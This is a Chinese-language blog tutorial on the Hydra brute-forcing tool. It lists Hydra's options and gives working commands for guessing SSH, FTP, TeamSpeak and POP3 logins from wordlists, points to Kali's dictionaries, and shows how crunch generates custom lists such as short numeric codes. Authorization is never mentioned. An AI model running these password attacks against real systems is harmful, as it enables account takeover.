投稿
  1. 小新网首页
  2. 投稿

ssh爆破工具hydra（破解密码的神器是什么软件）

二手车教授 • • 投稿

-R #继续从上一次进度接着破解。 -S #采用SSL链接。 -s #PORT 可通过这个参数指定非默认端口。 -l #LOGIN 指定破解的用户，对特定用户破解。 -L #FILE 指定用户名字典。 -p #PASS 小写，指定密码破解，少用，一般是采用密码字典。 -P #FILE 大写，指定密码字典。 -e #ns 可选选项，n：空密码试探，s：使用指定用户和密码试探。 -C #FILE 使用冒号分割格式，例如“登录名:密码”来代替-L/-P参数。 -M #FILE 指定目标列表文件一行一条。 -o #FILE 指定结果输出文件。 -f #在使用-M参数以后，找到第一对登录名或者密码的时候中止破解。 -t #TASKS 同时运行的线程数，默认为16。 -w #TIME 设置最大超时的时间，单位秒，默认是30s。 -v/-V #显示详细过程。 server #目标ip service #指定服务名 OPT #可选项

使用方法：hydra <参数> <IP地址> <服务名>、

操作演示

这里我为了演示写了两个弱口令文本，在真实环境中需要用到强大的字典。

ssh爆破工具hydra（破解密码的神器是什么软件）

破解ssh

hydra -L user.txt -P pass.txt -t 2 -vV -e ns 192.168.124.10 ssh

ssh爆破工具hydra（破解密码的神器是什么软件）

破解ftp

hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

破解teamspeak

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

破解pop3 hydra -l muts -P pass.txt my.pop3.mail pop3这里就不依次说明了。上文说到，破解的关键在于密码字典的强大与否。所以我们在破解过程中就需要思考，如何获取强大的字典呢。在Kali中内置了很多字典，路径如下：

cd /usr/share/wordlists/

输入ls查看所有字典，这里详细举例两个目录的

dirb

big.txt #大的字典small.txt #小的字典catala.txt #项目配置字典common.txt #公共字典euskera.txt #数据目录字典extensions_common.txt #常用文件扩展名字典indexes.txt #首页字典mutations_common.txt #备份扩展名spanish.txt #方法名或库目录others #扩展目录，默认用户名、默认密码等stress #压力测试vulns #漏洞测试

dirbuster

apache-user-enum-** #apache用户枚举directories.jbrofuzz #目录枚举directory-list-1.0.txt #目录列表

ssh爆破工具hydra（破解密码的神器是什么软件）

需要破解什么就使用什么字典。光有这些还不够，有时候我们需要特定的字典，比如发现可以暴力破解四位数验证码，这就需要我们生成特定的字典。这样我们就要需要kali下的另一款工具了。

字典生成工具crunch

基本指令

crunch 最小位数 最大位数 指定生成范围

例如，我要生成由三位数和四位数生成的字典，且都有6789组成，如下图

ssh爆破工具hydra（破解密码的神器是什么软件）

我们还可以将生成的字典输出到特定文件中，格式如下

crunch 3 4 6789 >>/home/kali/Desktop/pass.txt

ssh爆破工具hydra（破解密码的神器是什么软件）

本文来自作者:二手车教授，不代表小新网立场！

转载请注明：https://www.xiaoxinys.cn/74315.html

赞 (0)
二手车教授二手车教授注册用户
0
上一篇 2022-05-18 13:14:00
下一篇 2022-05-18 13:34:00

相关推荐

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容， 请联系我们举报，一经查实，本站将立刻删除。